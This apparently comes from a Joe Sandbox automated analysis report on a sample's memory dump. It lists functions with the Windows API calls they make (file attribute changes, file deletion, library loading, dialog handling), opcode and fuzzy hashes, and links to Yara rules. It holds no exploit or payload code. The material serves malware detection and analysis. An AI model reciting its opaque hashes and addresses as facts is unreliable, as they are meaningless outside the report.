Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 3d9730ea3cfd65e9b5310b0f832ec4fc4e5d14ed4af15064395b1a2cf8cae3bb
Instruction ID: 484299caa767931f44435a0a5fb22c0158261980e4a4fbbe1dcbb965273774b4
Opcode Fuzzy Hash: 3d9730ea3cfd65e9b5310b0f832ec4fc4e5d14ed4af15064395b1a2cf8cae3bb
Instruction Fuzzy Hash: E7E0D832B00145A7CF0997B89C259FFB3EDEB4420479485B7E403D3101F9B0DE414660

Function 00BAA4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00BAA325,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA501

Part of subcall function 00BABB03: _wcslen.LIBCMT ref: 00BABB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00BAA325,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA532

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 53a423124617f7a9dc7954586562cff3b10b535a9b5d11a15142aaa9b2788a6e
Instruction ID: 736334d59ca9d475a478910cb962d68fcf6e53b30dcc30755cf6d55abe912885
Opcode Fuzzy Hash: 53a423124617f7a9dc7954586562cff3b10b535a9b5d11a15142aaa9b2788a6e
Instruction Fuzzy Hash: 07F0A0312001097BDF016F60DC41FDA3BECEB14785F848092B845D6161EB71CA94DA20

Function 00BAA1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,00BA977F,?,?,00BA95CF,?,?,?,?,?,00BD2641,000000FF), ref: 00BAA1F1

Part of subcall function 00BABB03: _wcslen.LIBCMT ref: 00BABB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00BA977F,?,?,00BA95CF,?,?,?,?,?,00BD2641), ref: 00BAA21F

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: d19b607bb9fe5bf337813349dc739aa0ef746889d8ee8266c598b99554f4f6cf
Instruction ID: 836ea380e3d96217b635a28c02dfaf2a1ba8b6867ef448b434dfe9f1f9361bd8
Opcode Fuzzy Hash: d19b607bb9fe5bf337813349dc739aa0ef746889d8ee8266c598b99554f4f6cf
Instruction Fuzzy Hash: D4E092351442096BDB015F60DC85FED77DCEB09781F4840A1B945D2061EB61DE98DA61

Function 00BBAC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00BD2641,000000FF), ref: 00BBACB0
CoUninitialize.COMBASE(?,?,?,?,00BD2641,000000FF), ref: 00BBACB5

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 1e34fc6648dc011b2e97d9b833c70cd0c3cef6e121ada1007d059ff4bf4520d8
Instruction ID: be6e9a5269181d3e1662c2dbcb87481201c85aae9c184b75d8412cbfa7a528e8
Opcode Fuzzy Hash: 1e34fc6648dc011b2e97d9b833c70cd0c3cef6e121ada1007d059ff4bf4520d8
Instruction Fuzzy Hash: 3FE03972604A90EBCB109B58DC46B49FBE8FB88B20F00426AA416937A0CB74A901CA90

Function 00BAA243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00BAA23A,?,00BA755C,?,?,?,?), ref: 00BAA254

Part of subcall function 00BABB03: _wcslen.LIBCMT ref: 00BABB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00BAA23A,?,00BA755C,?,?,?,?), ref: 00BAA280

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: d54f104d69cf3f209cb9ead65fa811996561e6bbc7d5f13580f213fa7086f683
Instruction ID: 3590c6f83284d126a901060ded548dd78b8dbc29a0d9efda81aaff53dad68f85
Opcode Fuzzy Hash: d54f104d69cf3f209cb9ead65fa811996561e6bbc7d5f13580f213fa7086f683
Instruction Fuzzy Hash: 1CE092315001246BCB50AB64CC05BE9BBD8EB0D7E1F0442A1FD55E3191DB70DE44CAA1

Function 00BBDEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BBDEEC

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

SetDlgItemTextW.USER32(00000065,?), ref: 00BBDF03

Part of subcall function 00BBB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BBB579
Part of subcall function 00BBB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BBB58A
Part of subcall function 00BBB568: IsDialogMessageW.USER32(0006021C,?), ref: 00BBB59E
Part of subcall function 00BBB568: TranslateMessage.USER32(?), ref: 00BBB5AC
Part of subcall function 00BBB568: DispatchMessageW.USER32(?), ref: 00BBB5B6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: c1ada5259d65c789049978c2576fd533d1ec9248296a5e3883394e9fe737b7ea
Instruction ID: b39a6a932fbb1818e1eb64e3d7264a29a567d341a9a7e5ba8ad01f64c6884697
Opcode Fuzzy Hash: c1ada5259d65c789049978c2576fd533d1ec9248296a5e3883394e9fe737b7ea
Instruction Fuzzy Hash: 45E09B7140428826DF11A764DC06FEE3BEC9B05785F040891B205DB1F3DAB4D6108661

Function 00BB081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BB0836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BAF2D8,Crypt32.dll,00000000,00BAF35C,?,?,00BAF33E,?,?,?), ref: 00BB0858

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 77b0e033a88dd57e4d9a7fce633f57feb41eb4bf12777db05680a9a4fbd84ab9
Instruction ID: 1b86bd2a0febe746e011dffd19da384db57830b3b69fe237aaec55a34ede2a38
Opcode Fuzzy Hash: 77b0e033a88dd57e4d9a7fce633f57feb41eb4bf12777db05680a9a4fbd84ab9
Instruction Fuzzy Hash: 37E012764011186BDB11A7A4DC05FEA7BECFF09791F0400A57645D2005EAB4DA848BA4

Function 00BBA3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00BBA3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00BBA3E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 5a45544072efd1a3df8d0dcf86362f2efe2759cbee2d31c8b441d023e9029a20
Instruction ID: 4b9d0fdba12477a0fb52e5b03353164c72c9e1353806390108d7f0c63c34f89b
Opcode Fuzzy Hash: 5a45544072efd1a3df8d0dcf86362f2efe2759cbee2d31c8b441d023e9029a20
Instruction Fuzzy Hash: AEE0ED71900218EBCB20DF55C5417E9BBE8EF04360F10849AA85693211E3B4AE44DBA1

Function 00BC2B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BC2BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00BC2BB5

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: a1bffcd7e0a5fa17c57419c2f9de19d9e5a42e4c99dbc681d999ac5b37a560f4
Instruction ID: 8f9277643ac11203c3d696a4e700294b881ebbac8c8090cc316b25c76acdb69f
Opcode Fuzzy Hash: a1bffcd7e0a5fa17c57419c2f9de19d9e5a42e4c99dbc681d999ac5b37a560f4
Instruction Fuzzy Hash: 18D0223825430098AC147F742A0BF4933C9ED41F74BE082EEF4308A4C1EE109C80A011

Function 00BA12F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00BA1306
ShowWindow.USER32(00000000), ref: 00BA130D

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: f11acd719a5787cd8992936d810eb78b4d1a3b7f7280bb8be3a5015634cbc5c8
Instruction ID: d5925a79b3bf909edf974a0b031815079384363706a3dc75157ed18cfd6d8603
Opcode Fuzzy Hash: f11acd719a5787cd8992936d810eb78b4d1a3b7f7280bb8be3a5015634cbc5c8
Instruction Fuzzy Hash: E0C0123225C280BECB010BB4DC09E2FBBACABA9312F06C908B0A5C0060C238C110DB51

Function 00BA1A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA1A09

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7368eb03ce4dbc9940f1c74c25c4cb3af7743a5e68232d72557cc8a7130d1658
Instruction ID: 629d85d001a2aba27df3a68589f56c32d426e59ca8a7ed13a7e9d1f0174fbaca
Opcode Fuzzy Hash: 7368eb03ce4dbc9940f1c74c25c4cb3af7743a5e68232d72557cc8a7130d1658
Instruction Fuzzy Hash: 09C19E70A08254AFEF55CF6CC494BA97BE5EF1A310F0809FAEC559F292DB309944CB61

Function 00BA3BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA3BBF

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 92913034f7ee2f4d81945d1d9d092b76223facbb84ed396f4fbc3527c0065e89
Instruction ID: 17c99a12c87ce855eab5c54711ecb7882c55215c0b1cdfc88c2a584c8f7f1009
Opcode Fuzzy Hash: 92913034f7ee2f4d81945d1d9d092b76223facbb84ed396f4fbc3527c0065e89
Instruction Fuzzy Hash: 2371C271508B849EDB35DB74CC919E7B7E9EF16700F4009AEF1AB87241EA326684DF21

Function 00BA8284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA8289

Part of subcall function 00BA13DC: __EH_prolog.LIBCMT ref: 00BA13E1

Part of subcall function 00BAA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00BAA598

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 2f8c56d73abd57a66eb212a0fae029164f81e5d15815292cc6c905a27c663fc3
Instruction ID: d5f46ce1a9ad6583a8a59467e8a6a85f29f1da25f3c73cee2ebb2a93453a2a2b
Opcode Fuzzy Hash: 2f8c56d73abd57a66eb212a0fae029164f81e5d15815292cc6c905a27c663fc3
Instruction Fuzzy Hash: 7141A4719486589ADF20DB60CC55AEAB7F8EF06304F4404EBE08A97593EF755EC8CB10

Function 00BA13E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA13E1

Part of subcall function 00BA5E37: __EH_prolog.LIBCMT ref: 00BA5E3C

Part of subcall function 00BACE40: __EH_prolog.LIBCMT ref: 00BACE45

Part of subcall function 00BAB505: __EH_prolog.LIBCMT ref: 00BAB50A

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2d0662061c9e5ce00ecaf5201bd72a8ff34d5d8f91a30f81826a7e2a5bcad339
Instruction ID: a205e60c25790c5248e28b03593b45ca4ed193a45c1301f472758f5cfc42aff7
Opcode Fuzzy Hash: 2d0662061c9e5ce00ecaf5201bd72a8ff34d5d8f91a30f81826a7e2a5bcad339
Instruction Fuzzy Hash: D6415AB0909B409EE724CF3D8885AE6FBE5BF29300F50496ED5FE83282CB716654CB10

Function 00BA13DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA13E1

Part of subcall function 00BA5E37: __EH_prolog.LIBCMT ref: 00BA5E3C

Part of subcall function 00BACE40: __EH_prolog.LIBCMT ref: 00BACE45

Part of subcall function 00BAB505: __EH_prolog.LIBCMT ref: 00BAB50A

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e1083e1f30fcdd690cb110eb131e2cb56435bea875cbd373fd4ec2fa80eee9ed
Instruction ID: 22f4f4b390f298f32cff9d3b7abe2228282ad367b899a2b849e1d649c4be895c
Opcode Fuzzy Hash: e1083e1f30fcdd690cb110eb131e2cb56435bea875cbd373fd4ec2fa80eee9ed
Instruction Fuzzy Hash: 884158B0905B409EE724DF798885AE6FBE5FF29300F54496ED5FE83282CB726654CB10

Function 00BBB093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BBB098

Part of subcall function 00BA13DC: __EH_prolog.LIBCMT ref: 00BA13E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4def877fe22cbd0adbf3783df60d8a94a13e33d21cf002e73a5d207c958d336f
Instruction ID: 3131c52ca0d733dda6cd854db42089c0afa781cdab96d112ef33fd29ff26ceca
Opcode Fuzzy Hash: 4def877fe22cbd0adbf3783df60d8a94a13e33d21cf002e73a5d207c958d336f
Instruction Fuzzy Hash: B8315871814249ABCB15DFA8C891AFEBBF4AF09304F1048DEE409B7242D7B5AE048B61

Function 00BCAC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00BD3A34), ref: 00BCACF8

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 58cdde6bb3ecc64d457460f9b30ec5c179a532ccf056e21c5fefb0cb3fd47741
Instruction ID: 4b48fdae11595a46b758902aac36ca7325cbaf2adb494ef07a62dadf8138c080
Opcode Fuzzy Hash: 58cdde6bb3ecc64d457460f9b30ec5c179a532ccf056e21c5fefb0cb3fd47741
Instruction Fuzzy Hash: 22110A33A0162D6F9B219E18DC50F5BB3D5EB8432971642A5FD26EB254EB30DC0187D2

Function 00BACE40 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BACE45

Part of subcall function 00BA5E37: __EH_prolog.LIBCMT ref: 00BA5E3C

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

